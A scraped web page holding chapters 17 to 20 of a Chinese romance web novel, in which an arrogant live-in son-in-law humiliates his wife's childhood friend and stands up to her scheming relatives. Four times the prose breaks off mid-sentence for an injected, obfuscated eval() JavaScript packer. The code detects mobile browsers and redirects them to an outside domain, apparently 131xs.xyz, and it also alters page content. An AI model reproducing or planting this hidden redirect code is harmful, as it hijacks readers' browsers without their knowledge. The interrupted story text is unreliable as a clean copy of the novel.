“劳周二少爷亲自登门贺喜,还带来贵重的贺礼,赵某愧不敢当。早听闻周氏一族的名声,今日一见果然不同凡响。周氏虽为巨贾之家,却无半分粗鄙庸俗之气,与那京城的百年书香名门望族也不相上下!二少礼数周全,宋家自不好薄待,等会您走时,叫门房抓一把喜糖,就算是我宋家的一点回礼了。” 不好薄待,就给人一把喜糖? 秦知期抬袖掩唇,瞥一眼周庭柏铁青的脸,憋不住笑。 周庭柏上门仓促,哪有时间准备贺礼?再说他可是来砸场子的,贺礼?不上前撕打起来就不错了! 可话已然撂在这,除非彻底撕破脸,否则那礼说什么也要补上。新姑爷这话说得妙,将周庭柏的路前后都堵死了。 一句礼数周全,将周氏捧到高处,叫周庭柏不好撒泼。 又谢其贵礼,叫周庭柏忍着憋屈也得补上厚礼。 最后再羞辱一番,那“知礼守节”的周庭柏打掉了牙也得往肚子里咽,不好再对着人颐指气使。 单说赵鱼举手投足间无意展现出来的贵气,说话时游刃有余、居高临下的傲气,便令周庭柏自觉气短,难以匹敌。 都是男人,谁也不想比别人矮上一头,更不想叫人看了笑话去,对方有礼,他又如何能失礼? 周庭柏将咄咄逼人的话都咽下,咬着牙道:“骤然听闻星糖妹妹大喜,还未亲自与她道贺,不知她可方便,让我见上一面。” 星糖妹妹四个字令沈昭予眸色微冷。 他勾着唇角,笑得暧昧,“大小姐还未起,都怪我,昨晚耽误她太久。” 周庭柏一瞬间血冲瞳仁,怒气压抑不住地往外涌,拳头死死捏紧。 “二少来得早,想来还未用早膳吧?来人,将我的膳食让给周二少。”沈昭予腼腆笑道,“二少爷知道的,赵某乃是入赘,没什么身家,连喜糖都是借大小姐的名头借花献佛,聊表心意。赵某还未接手家务,不好越过大小姐,擅自支配她的财务,所以这早膳的份额,也不好未禀她就擅作主张乱加。” 没等周庭柏开口,沈昭予一瞬变脸,略带威压的目光沉沉降在秦知期的头顶,“啧,客人上门,连杯喜茶都不给上?” 前头在针对周庭柏,那这两句就是在点秦知期。 秦知期哼笑了声,心底道一声“装模作样”,怎么不拿出昨天怼他的架势来怼周庭柏?在这儿装什么大度好人。 周庭柏的脸色又难看两分,一个赘婿竟敢在他面前摆主人架子,张口闭口就是“我们宋府”。 可恨那位眼高于顶,与他素日不合的秦管家竟对新婿言听计从,果真命小厮上来一盏冷茶。 周庭柏冷笑道:“原来赵公子的待客之道是叫客人吃冷茶。” 沈昭予不恼不怒,笑眯眯地:“周公子见谅,喜茶嘛,还得是昨日大婚时沏的茶最为喜庆。昨夜放到今天,可不是就凉了嘛。” “周公子既不爱吃冷茶,来人,将这茶去炉灶上滚一圈,热了来。” 小厮又忙将茶盏端下,一时间没再添新茶。 周庭柏就这么渴着饿着,又站了半晌。 沈昭予也不招呼他坐下,靠在椅子里,慢条斯理地啜了口热茶。 他自小的教养令他本可以不发出任何声响,可他非要故意用杯盖磕碰杯沿,饮下热茶时,还故意发出惬意的哈气声。 小风一吹,周庭柏不住发冷,也很想喝一口热茶,见赵鱼这小人得志又耀武扬威的模样,他再耐不住气性,火气直往头上顶,“你这无耻——” 话音才起,沈昭予忽然叫来小厮,压低声音,与那小厮嘀嘀咕咕说起话来。 “你去我原来住的那房里,将行李放到霜星院去。再去请大夫来我这里一趟。” “还有,吩咐厨房备上些驱寒的姜汤,送到大小姐屋里。” 小厮不知该不该遵从,瞥了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15379154|167975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一眼秦管家,见管家点了下头,小厮才领命下去。 屋子里很静,周庭柏听了个一清二楚,被一再冷落,再好的修养也没了。 他终于露出本来面目,磨牙冷笑:“赵公子一朝飞黄腾达,指使起下人来半点不客气,一个赘婿也敢摆架子,你可知我周氏要捏死你就跟捏死蚂蚁一样简单!” 沈昭予单手撑头思忖,眉尖微蹙,没搭理他。 “星糖妹妹怎会看上你?!定是你这贱皮子引诱了她!” 周庭柏又吠了几声,皆无人应答,尴尬至极,他恼怒吼道:“真是岂有此理!” 突然的一声怒喝掷地有声,大地都抖了三抖,屋里屋外的人皆吓了一跳。 沈昭予这才如梦方醒,他诧异抬头,手拍拍心口,语气很柔弱:“呀,周公子还没走呢?” 周庭柏怒不可遏:“赵鱼!你如此羞辱于我,就不怕星糖妹妹知道吗!” “这是何苦来的啊,周公子,你误会我了呀。”沈昭予低声下气,“哎,我心里实在记挂着大小姐,神思不属,心不在焉,没听着你说话,还望公子见谅。” 他的语气徐缓温和,倒显得周庭柏大庭广众大呼小叫,没分寸没礼数。 “听说赵公子父母双亡,家中财产也都被亲戚卷走了。如今眼巴巴地傍上了宋氏,不知是为财还是为权?赵公子要什么我都能给你,只要你放过星糖妹妹。”周庭柏目光阴鸷,直勾勾地盯着沈昭予,“她年少又单纯,容易被美色迷惑了心智,我这个做兄长的,不得不为她把关。” 沈昭予眯起眼睛笑了,洗耳恭听,“那周公子觉得,我过关吗?” 周庭柏嫌弃厌恶地拧眉,“当然不,你这样的小人,留在宋府做个下人都不够格。” 沈昭予垂下眸子,失落道:“看来周二少对赵某很不满意。” 秦知期眼皮一跳,心中蓦地生出不好的预感。 周庭柏见他示弱,还以为被自己威胁到了,得意地扬了扬下巴,“你知道就好,识相的就快滚!” “唉,真是可惜。” 男人忽然站起身,一步一步走了过来。 他的步子不快,可是周庭柏却在顷刻间感觉一股威压扑面而来,直压得人喘不上气,没忍住后退了半步。 “周公子也想入赘?”他颇为惋惜地摇摇头,叹道,“可赵某善妒得很,怎么办呀?” 男人居高临下,目光轻蔑,哪有方才那温和柔弱的模样。 “赵某只想独享大小姐的宠爱,若有人想横插一脚——” 男人从袖中摸出一把匕首,拇指轻轻一推,利刃便出鞘,光亮的刀脊上映出一双似笑非笑的凤眼。 他的手指修长而灵活,一上手便挽了个极为漂亮的刀花。他将匕首玩弄于掌心之中,动作干脆利落,利刃在掌中翻跃、旋转,冰冷刺目的幽蓝刀光在指间流转。 就在人眼花缭乱、目不暇接之时,五指倏然收拢。 凶器温顺地归鞘、收入袖中。 与此同时,啪嗒一声—— 周庭柏呆呆看向地上的腰带。 那是他去岁冬时从一胡商手中高价买下的兽皮腰带,听说乃是牦牛皮所制,最是坚韧耐用,就这么轻飘飘地被割断了。 一阵堂风吹过,周庭柏狼狈地拢起飞舞的衣袍,惊惧抬头。 “那就只能做个阉人了。”沈昭予勾唇一笑,目光淡淡扫过对方的脖子,微微俯身,在耳边轻言,“如此,赵某才能容得下他。” 那一眼好似猛兽盯住了猎物致命弱点,令人脊背发凉。 屋中气氛凝滞冰冷,众人大气不敢喘一声。 忽听得由远及近传来脚步声。 众目睽睽之下,只见沈昭予面色微变,顿时卸去一身凌厉,直起身,快步迎了出去。 他委屈撒娇的声音幽幽怨怨传来—— “糖儿,你要替我做主啊!周公子他、他不喜欢我,要赶我出去。” “你别不要我,好不好?” 高大的男子躲到少女身后,手拉着她袖子,神情怯懦,郁郁寡欢。 屋内众人:? 被男色冲昏头脑的宋星糖脑子一片空白,一把反抱住来人。 两眼一瞪,如小猫一般呲牙:“谁赶你,我赶他!” 18.第 18 章 【18】 周庭柏一手按着衣裳,一手从地上捞起那根碎成两截的腰带,羞愤难当,只恨不能找个地地缝钻进去。 秦管家在一旁啧啧称奇,对这一场“变脸”叹为观止。 众家仆自然更不敢吭声,各个眼观鼻鼻观口,只敢在心底惊叹。 唯有宋星糖这个后到的人,对实情一概不知,任由鱼妖妃蛊惑。 “鱼鱼,是不是有人欺负你了?” 沈昭予忍不住往屋里瞥了一眼,面露愁容,眉尖轻蹙,欲言又止。 “我……” 他再次幽怨地看了一眼周庭柏,轻叹一声,将委屈都吞入腹中,心中不甘,可偏又勉强做出一副宽容大度、委曲求全的模样,摇了摇头。 一声哽咽恰到好处,一半音冒出来,另一半卡在喉咙里,最终尽数化为颤抖的长叹: “没,没有人欺辱我。” 他一副委屈小赘夫的姿态做得十足,饶是宋星糖再迟钝,也看出来两分意思。 这两分意思传达到,便够了。 宋星糖一脸严肃,目光从众人身上掠了一圈,最终落在秦知期身上,“秦大哥,你们欺负他了?” 秦知期好笑地摇头,事不关己的语气:“姑爷是主,我是仆,我哪敢。至于旁的……” “星糖妹妹!”周庭柏高声打断,“都是误会!我有要事同你说!” 周庭柏匆匆将小厮送来的新腰带缠到身上,三步并做两步到了近前。 沈昭予往前半步,挡在中间,微冷的目光自上而下,落在来人身上。 周庭柏本能地抖了下,错开对视,冲身后的女子道:“宋洛繁在席间出了丑,妹妹可要听?” 宋星糖一向有了新事便忘了旧事,有新乐子在面前,哪还顾得上几个男人之间的恩怨纠葛。 她眼睛发亮,兴奋地点头,“听听听!你快讲!” 周庭柏满意地弯唇,他与少女青梅竹马一起长大,最是了解她的性子,知道如何吸引她的目光,他的本事哪是这半路杀出来的赘婿可比的? 周庭柏挑衅地回望过去,男人却不恼不急,转回身去,反手拉起女孩的手握在掌心,微微弯腰,温声细语:“怎么这样凉,也不多穿些,我叫了大夫来,等会让他把脉可好?” 宋星糖的目光又被轻而易举地引走。 她极少生病,可也不喜欢大夫身上那股苦药味儿,皱了皱鼻子,满脸不情愿。 还未拒绝,便又见男人凑到她耳边,用只二人能听见的音量轻声哄道:“昨夜折腾半宿,你又非得脱了衣裳……后半夜梦醒,打喷嚏咬了舌头的是谁?” 这话说得,好像她是个不听话的小孩子似得,她哪有那么不懂事? 宋星糖微微红脸,有些不好意思地扭晃了下,“是我……” 男人目光柔情似水,“看大夫,好吗?” “好吧。” 宋星糖不自在地抿唇笑笑,心里只顾回味赵鱼的话,是怎么能又强势又温柔的,听着就比别人的话更顺耳。 “糖儿想听乐子,那也要等周公子用了膳才行,人家一早来恭贺我们大喜,高兴得连饭都顾不上吃,人家有这份热忱心意,我们也得好好招待才行,对吗?” 周庭柏:? 谁高兴了!这颠倒黑白的无耻之徒! “对的对的,鱼鱼你安排得对呀!” “可是……”男人落寞地垂下眼,为难道,“可那些小厮都不听我的话,就算想留下周公子吃饭都没权利开口。” 宋星糖立马扭头看向秦知期。 秦知期:?? 你没权利开口也说了许多,在这扮委屈给谁看呢! 他气笑了,连连摆手,“新婚事忙,还未来得及交接管家之权,早膳已然备下,来人,带周公子去。” 宋星糖笑着冲他道谢,还对沈昭予交代:“家中事我管不好,如今有了你,可算是解了我燃眉之急!若你肯帮我,那就再好不过了!” “你放心,秦大哥一定会帮你的,他是我阿娘留下来在我身边照顾我的人,你遇到了什么困难都可同他讲,”宋星糖犹豫着要不要把二房的针对告诉他,可现在人多口杂,她最终没说,只道,“我帮不了你什么,或许还会给你拖后腿,不过你那么聪明,自己肯定能应付得来的,对吗?” 她眼中尽是期待,眼巴巴地望着他。 她心里小算盘打得响亮,沈昭予一眼便知,他不介意对方利用自己,因这也与他的计划不谋而合,他大方应承下来,“糖儿交于我便是,必定不会令你失望。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15382736|167975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至于她的那些烂摊子,他也没放在眼中。说到底,都是权力没在手中所致。 权力在他眼里不分大小,哪怕是一小小后宅,他也要将话语权都捏在自己手里。如此,一切难题都迎刃而解。 他很享受凌驾于万人之上,事事尽在掌控之中的那种成就感。 宋府这点人能掀起多大风浪?总不会比边关屡屡来犯的西素人还要难缠。 至于她么…… 好消息是,小姑娘好骗,他一说就听。 坏消息是,小姑娘太好骗了,别人也是一骗就走。 哄着宋星糖去看大夫,院子里又安静下来。 周庭柏跟着小厮去用膳,与男人擦肩而过时,他笑道:“你要拦我,光凭狠话可不够,也得有真本事才行。我了解星糖妹妹,自有无数种法子让她靠近我,亦有无数种法子将你赶出去。” 周氏乃是越州第一富户,连刺史都要给几分薄面,区区一个赘婿,能奈他何? 沈昭予垂眸向下瞥了一眼,“无妨,时日还长着,你会知道你能多那二两肉,究竟是我不敢,还是我心善。” 周庭柏:“……” 他要是心善,公鸡都能下蛋。 这段爱恨纠葛的中心人物悉数退场,秦知期摆手令众家丁退下。 “原来赵公子善妒至此。” 早就与秦知期撕破了脸,沈昭予便彻底不隐藏他那暴戾阴暗的一面,斜着眼,“怎么,嫌我犯了七出?秦管家打算让大小姐休了我吗?你可知,请神容易送神难这个话。” “怎会呢,赵公子既是一心一意为着大小姐,甚至到了……”秦知期笑道,“到了丧心病狂的地步,那我还有什么不放心的呢。” 沈昭予:“……” 秦知期头一次在男人脸上见到吃瘪的神情,心情极好,“走吧,姑爷,宋府偌大家务,并不是那么好上手的,你接下来有的忙了。” “不去,等着。” 沈昭予转身就走。 秦知期诧异:“你去哪?” “我善妒,容不得他们相谈甚欢。”最后四个字从牙缝里挤出来,他冷笑,“我得盯死他们,敢乱看,把他眼睛挖出来。” 秦知期:“……” 心眼真是够小的。 19.第 19 章 【19】 宋星糖心里专注地惦记着所谓的“二房的丑事”,便做什么事都心不在焉起来。 沈昭予眸色深沉,在一旁虎视眈眈,愣是半点关注都没分来。他眼中的小姑娘如一只躁动的兔子,只要人稍稍松手,她便能一溜烟地蹿了出去。 果然,宋星糖由着大夫诊完脉,连医嘱都不耐听,抬屁股就跑了。 彼时周庭柏草草填了肚子,也快步往霜星院来。 一路上心乱如麻,在游廊中忽见远处一娇小身影愈行愈近,他的心忽然跳到了嗓子眼。 拳头不自觉握紧,加快脚步迎了上去。 二人在半路相遇,宋星糖兴致高昂,就近找了一凉亭,拉着人就往那处去。 周庭柏怔怔望着自己被抓住的腕子,骤然喜出望外,他就知道她心中有他!那赘婿才同她认识几日?哪里比得上他们这十几年的交情。 周庭柏顿时信心倍增,一腔柔情从眼中溢出,“多日不见,好像清瘦了些。” 宋星糖一双眼睛亮得惊人,对他隐晦的思念与关切置若罔闻,只捡自己关心的问: “周二哥,你快同我讲讲宋洛繁出什么丑了?” 周庭柏唇角噙笑,“那你说两句好听的来,我便同你讲。” 从前他们总这样玩闹,此时的宋星糖就像一颗加热升温半融化的蜜糖块,整个人又软又甜。 她毫不吝啬夸赞之语,左一句哥哥右一句恳求,每每见她这样,周庭柏心底都会油然而生出征服的快意。 哪怕她望向自己的眼中仍无眷恋与爱慕,周庭柏亦心满意足。 “刺史府的刘姑娘你可记得?”见宋星糖果不其然摇头,他笑道,“去岁中秋时随刘夫人来宋府探过你母亲的病,当时与你说过话的。她见你哭得伤心,又见你母亲病容憔悴,身形枯槁,安慰你许久。” 周庭柏提起她伤心事,她却丝毫波澜都未有,琢磨半晌,才拍手道:“出门时宋洛繁故意拌了我一脚,是她扶住了我!” 周庭柏嘴角抿平,“……是。” 明明发生过许多值得去记的事,她却只记得这些打打闹闹的小事。 宋星糖漂亮的眼睛中露出迷茫,直勾勾地盯着周庭柏看,半晌,她醒神,懊恼道:“忘了同她说谢谢了!” 周庭柏深吸口气,勉强笑道:“刘姑娘心胸宽广,不会介意。” 宋星糖歪头,“你怎知她不介意?她同你说了?” “我不——”周庭柏不知话题是如何偏到这地步的,试图把主动权收回到自己手中,“还要不要听宋洛繁的笑话?” “要听要听!” 宋星糖咧嘴笑着,顿时将所有疑问都忘了,两手落于膝上,坐姿端正,十分乖巧。 周庭柏这才满意道:“宋洛繁八面玲珑,意图拉拢一位姓费的公子。那费公子与刘家乃是旧故,大约是从刘姑娘那听说了宋洛繁的为人,又亲眼见了宋洛繁拦住刘姑娘说话,于是在席间百般刁难他。宋洛繁一开始还拉下脸面,哄着费公子开心,后来渐渐力不从心。刘家作为主人,自是从中周旋,两边劝和,可费公子依旧不依不饶,不仅联合了众官家公子轮流灌他酒,又在酒令中针对欺辱于他。” “后来呢后来呢?” “后来宋洛繁醉酒,丑态百出,还拉着斟酒的侍女意图轻薄,丢了宋家好大的脸,最后被小厮强拉下去才算完。”周庭柏话锋一转,笑道,“星糖妹妹,你可知那费公子为何要针对宋洛繁?” 宋星糖思忖片刻,“因为费公子眼亮心明,能看出来宋洛繁是个讨厌的人!” “……” 周庭柏看着少女笃定的眼,试图引导:“费公子是因为刘姑娘才那样对他的。” “嗯?”少女疑惑地眨了下眼,“刘姑娘?” “就是扶住你的那位。” 宋星糖灵机一动,“所以刘姑娘和费公子才能做朋友,他们都是是非分明的好人!就像我们,我讨厌宋洛繁,你也知道他不是个好的,所以我们才会做朋友,才会一起在这说他的坏话!” 她真是太聪明了,竟然学会了推己及人,举一反三!如此换位思考,费公子的做法就不难猜了,好友就是要同仇敌忾的! 周庭柏:“……” 宋星糖大眼睛警惕地环视周围,嘴里说着悄悄话:“周二哥,你说的这些我很喜欢听,也很开心,你放心,咱们在这说他坏话的事我不会告诉旁人的!” 周庭柏笑叹道:“好。” 宋星糖莞尔一笑,“以后再有这种好事,也要记得告诉我呀!” 周庭柏怔怔望着少女神采飞扬的模样,心念一动,忍不住向她伸手,想要为她挽过碎发,“费公子与刘姑娘其实是……” 唰——!! 空气被一道劲风划破。 要去触碰少女发丝的手僵停在半空,剧痛随后传来,周庭柏垂眼望去,手背上浮现了一条长长的血痕。 伤口不深,却钻心地疼,血珠从破开的皮肉中渗出,周庭柏听到耳边一声轻笑,而后一道懒洋洋的声音响起: “我还以为是什么人命关天的要紧事,勾得大小姐连药都不肯喝。这要是耽误了什么,倒是我这个做夫君的伺候不周了。” 周庭柏捂着手背,冷眼瞪去,“赵公子竟敢以暗器伤人,谋害于我?!” 沈昭予大马金刀地贴着宋星糖坐下,惊讶地捂住唇,“哎呀!这又是从何说起?暗器?暗在哪里?器又在何处?至于谋害,更是无从说起。” 不过随手一掷,有手就会。姓周的连这都躲不开,也敢朝他瞪眼,真是可笑。 周庭柏转头望向另一侧,远处的树干上“钉”着一片树叶。那叶子竟坚韧到能将树皮凿穿,屹立于风中不倒。 沈昭予微笑道:“饭可以乱吃,话不能乱讲,有谁看到是我做的?周二少不能因为惦记着我的宝贝,就像疯狗一样乱咬我。就算把我咬死,也轮不到你啊。” 周庭柏怒不可遏,拍案而起,“赵鱼!你一个乡野莽夫,也敢同我叫嚣?!” 沈昭予淡定地掏了掏耳朵,“是狗在吠吗?嗓门这样大。” “你!” “周二少快去处理伤口吧,您这金枝玉贵的,等会别血尽而亡了。” 周庭柏冷笑了声,知道赵鱼这么说是要将他支走,不让他与星糖独处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15388643|167975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 宋星糖紧张地盯着汩汩冒血的地方瞧,“周二哥,你快去吧!我不想你死!” 沈昭予:“……” 瞬间变了脸,哀怨又神伤地幽幽望去。 周庭柏一愣,而后唇角抑制不住上扬,他瞥了一眼脸色发沉的沈昭予,笑道:“我不会死,我还要陪着星糖妹妹一起到老。若死了,谁同你讲方才那些话?” 他刻意地令这话听上去暧昧不清、惹人遐想。 宋星糖大脑空白片刻,终于反应过来他指的是什么,小心地往旁边瞥了一眼,对上沈昭予那双犀利的黑瞳,没来由地心虚。 她冲他笑了一下,做贼似得又扭回头,悄悄往旁边挪了挪,身子倾向周庭柏,压低声音:“一言为定哦。” 背后说人坏话毕竟不是什么光彩的事,她不愿意赵鱼知道自己卑劣又可恶的一面,只能瞒着他了。 沈昭予眉头紧拧,目光冷飕飕地在二人身上打量。 这幅如临大敌的模样,叫周庭柏通体舒畅。 他不过是晚了一步,他以为她能一直等他,等着他在周家有更多的话语权,等他能娶她进门。 占得先机又如何,天有不测风云,双拳难敌四手,等赵鱼出了“意外”丧命,等他说服父母,未必不能将原属于自己的东西要回来。 周庭柏笑容愈发亲昵眷恋,“嗯,说定了。星糖妹妹,我在你家受了伤,你要不要负责?” 话音落,便感受到身侧腾腾的杀意,他背脊微僵,忌惮地看过去。 只见男人仍是一副懒散模样,他随意抬起一条手臂,像个纨绔似得,搭在她的肩上,小臂回勾,一下就将人揽进怀中。 宋星糖后背贴上一具坚实温暖的胸膛,他身上清泠好闻的气息骤然灌入鼻腔。 她茫然抬头,额头无意间蹭过他的下巴。 宋星糖感觉有什么东西刮了额头一下,有点疼。她揉了揉脑门,视线又被他忽然变红的耳朵吸引了注意力,连他说的什么话都没能入耳中去。 等他伸手在她眼前晃悠,她才捉住那只骨节分明的大掌,迷迷糊糊地,“嗯?说什么?” 沈昭予瞥一眼被她捧着的手,唇角微弯,挑衅地一扬眉,故作大度道:“周二少所言有理,虽然这是无可预料的意外,但他非要我们给个说法,我们也不好不依。正好大夫还未离开,我带他去看看,可好?” 周庭柏拒绝道:“我家有郎中,这便回去了。” 宋星糖还记着伤久会死的事,急忙道:“周二哥别走,在这儿看完了大夫再回吧。” 周庭柏欲言又止,为难道:“可是我……我与赵公子不熟,不想烦劳他。” “我带你去!我们一起长大,熟得不能再熟了!” 捧着沈昭予的手瞬间撂开,人也从他怀里跑了出去。 沈昭予:“……” 熟得不能再熟了。 齿尖滚过这一句,沈昭予面无表情望着二人渐行渐远的背影。 他与姓周的斗得火热,她却像个木头一样,一无所察,岁月静好。 这是他打过的最窝囊的仗。 更窝囊的是,他输了。 20.第 20 章 【20】 宋星糖用过午膳,在院子里晒太阳,晒得昏昏欲睡,再醒来,太阳已落山。 梦到了祖母,这无疑是个噩梦,以至于醒来半晌都没能回神,满脑子都是祖母那张可怖的脸。 “姑娘,姑娘?二房回来了。” 面前的脸由祖母逐渐变幻为妙荷,发散的瞳孔终于聚成一点。 宋星糖猛然惊醒,慢慢放松了紧绷的身躯,勉强笑了笑,“这么快就回来了……鱼鱼呢?” 妙荷神秘一笑,“您去瞧瞧就知道了。” 等到了紫棠院,宋星糖才明白妙荷为何是一脸看热闹的表情。 这还是头一次,宋星糖来请安,二房一个不少都聚在院子里,只不过氛围有些奇怪。 宋星糖如往常一样,悄悄融入,往角落里一站,想等她们聊完自己的事才能注意到她来。 怎料二婶白氏眼利,忽然叫她:“糖姐儿,还不快过来!” 一时间众人的视线皆齐刷刷落在自己身上。 宋星糖眨了下眼睛,越过众人,望向被簇拥着的老妇。 钱氏眼角堆叠着松垮的皱纹,浑浊的眼珠里闪着精明又锐利的光,视线不偏不倚,落在宋星糖头上。 宋星糖心底陡然生出寒意,没能迈出这一步。 她脑子里不由自主地浮现出梦里一个画面—— 大雪纷飞的冬日,灵堂里一点光都没有,她独自跪在棺椁前,耳边只有寒风呜呜怒吼的声音。 黑暗中不知有多少妖魔鬼怪,他们身形扭曲,在灵堂上空穿梭游荡,阴冷的鬼舌头舔舐过灵魂,她惊惧地不住颤抖。 她惊慌失措,颤颤巍巍地,跪着向前奔。 噗通—— 背后是众恶鬼朝她伸出觊觎的魔爪,终于抓住了她的脚踝,将她往外拉。 她紧闭双眼,用尽全力抱紧了面前冰冷的棺材。 这里是她的娘亲,是她最信赖的人。 “糖儿,糖儿乖……” 记忆中的温柔女声缥缈远去,一道低沉温和的嗓音如一只大掌,将她从混了砒霜与蜜糖的记忆漩涡中捞了起来。 “阿娘……” 宋星糖睫毛微颤,眷恋地在拥着她的温暖怀抱中蹭了蹭,感受到那具躯体微微僵硬,而非记忆中的柔软,她恍然抬头。 男人瞳仁漆黑,像一泊深湖,将她漂泊惶恐的灵魂宽容地拥纳其中。 宋星糖望着那双眼睛,感受到了一阵莫名的暖意与动容,她不知要去追寻这感觉的来由,就算思考也弄不明白,只循着本能,往他怀里钻了钻。 沈昭予绷着的肌肉又紧了紧,为防露出破绽,只得硬着头皮,任由她上下其手,还要露出温柔爱怜的表情。 “糖儿,乖,莫怕。” 原来方才是他,和阿娘说了一样的话。 被黑暗笼罩的恐惧还未消退,宋星糖只觉得心里慌得要命,忽又听白氏冷嘲热讽道:“长辈问话,不知跪答不说,竟一点将人不放在眼里,如此不知礼数,果然是个没爹没娘没教养的货色。” 没等宋星糖听清想明这是不是在骂她,她就感觉自己肩膀一沉,一只手按着她直直往下坐。她没人力气大,一下就被人按到座位里。 原来不知何时,她被男人从角落中带离,已来到人群正中央的空地中。 屁股挨上木头,手摸到扶手,她顿时忘了理会白氏的辱骂,诧异仰头,“这儿怎会有把椅子?” 沈昭予的手臂随意搭在她肩头,凤眸微眯,笑道:“料想今日的问话不会太短,懒得站便搬了来。糖儿不在,便是我坐,糖儿来了,便给糖儿坐。” “啊?可爹娘给祖母请安都不能坐着,而且大家都站着,”宋星糖不安地扭了扭身子,想要起身,“我还是……” 男人一只大掌犹如铁箍,将她束缚在原地,不容置喙道:“坐着,仔细腿酸。” 他眼尾轻挑,笑得肆意张扬,语气狂妄:“我看谁敢说三道四。” 这话一落,院中又响起窃窃私语声。 “新姑爷是疯了吧?一个赘婿,哪来这么大的脸敢同老夫人叫嚣?” “方才老夫人叫他跪下,他不理不睬,大摇大摆进门搬了椅子,鼻孔朝天的来了一句——‘接着说,我听着呢’,真真把人气死。” “我看都是大小姐指使的,谁还能逼着大小姐招这么个不三不四的人进门?” 细碎的议论声流入钱老夫人的耳中,她面色更沉,通黑的眼珠子直勾勾盯着宋星糖,两腮肌肉微动,咬紧牙关,连松垮的眼皮都颤了两下,可见着实气得不轻。 “你这招摇撞骗粗鄙无礼的小子,哪里轮得上你说话?!还有糖姐儿,你真是愈发无法无天了,连这么个东西都放进门?看来你母亲死后,家里人对你太疏于管教。” “宋星糖,你快给祖母磕个头赔罪,再老老实实地嫁到张家去。只要你肯出出血安抚张家和我们,我还能求祖母宽恕你一二,否则,连我都救不了你。” “哥哥,你别说了……” 又一道女子的声音低低响起。 宋洛繁不耐烦道:“轮得到你说话吗,闭嘴。” 那女子被凶也无人替她出头,便不敢再吭声。 宋星糖循声看去,只见宋洛繁衣冠楚楚地站在祖母身侧,他一手搀着祖母,一手在背后抚着祖母后背,一副孝子贤孙的模样,嘴上说着为她求情的好话,看向她时依旧是令人反感的眼神。 而一同开口的少女站在祖母的另一侧,是宋洛繁的同胞妹妹,宋妤娇。她目光关切又担忧,欲言又止地看着这边。 这对龙凤胎一左一右侍奉在祖母身侧,二婶指挥着众家丁咄咄逼人,而二叔,眼里也尽是对她的谴责与鄙夷。 自阿娘去后,在这个家里,宋星糖就再也没感受过温暖。 见她沉默不语,二婶冷笑了声,“你以为你私下招了个赘婿这事就了了?天真。” “父母之命媒妁之言,定礼已收,张氏你不嫁也得嫁,至于家产,也由不得你不交!” “可是二婶,我爹娘是认同我招婿的。”宋星糖低着头,“婚服是阿娘命秦大哥早就做好的,我这么做没错。家产,也是阿娘留给我的。” “祖母,你非叫我嫁人,我嫁了。”身体对于那个冬夜的恐惧还未消散,宋星糖不敢看,她低头紧张地搓手指,小声反驳,“我也不能不顾爹娘的意愿,随便嫁到外面去,我不能离开宋家。” “糖姐儿,你爹娘留话让你招赘?我怎么没听过,”二婶捂唇轻笑,遗憾摇头,“好孩子可不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15399812|167975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能骗人的,怎么你娘死了以后,你连扯谎都学会了。” “二婶,我没有说谎,都是真的,不信我可以把证据找给你看。” “谁知道不是你伪造的证据?现在死无对证,岂非你说什么就是什么?哄骗了我们也未可知啊,谁会上当?” “我对天发誓,所言非虚,真的!” 她自认有理有据地辩驳完毕,忽听背后人深吸了口气,按在她肩膀上的手力道逐渐加重,她狐疑地回头,只见男子神色复杂,紧抿着唇看着她,心情似乎不是很好? 她无辜地眨了下眼,歪歪头表示不解。 沈昭予蓦地闭上眼睛,靠全部的自制力才克制住想骂人的冲动。 怎么会有人吵架总吵不到重点上,每一句反驳都像在开玩笑的呢?人家骂了她,她不会回击,不气不恼,这就罢了,她甚至还想要自证给居心叵测之人看。 难道对方质疑她的心是黑的,她也要剖开胸膛证明给人看吗? 人家摆明了就是要夺她家产,哪里管那么多黑的白的真的假的? 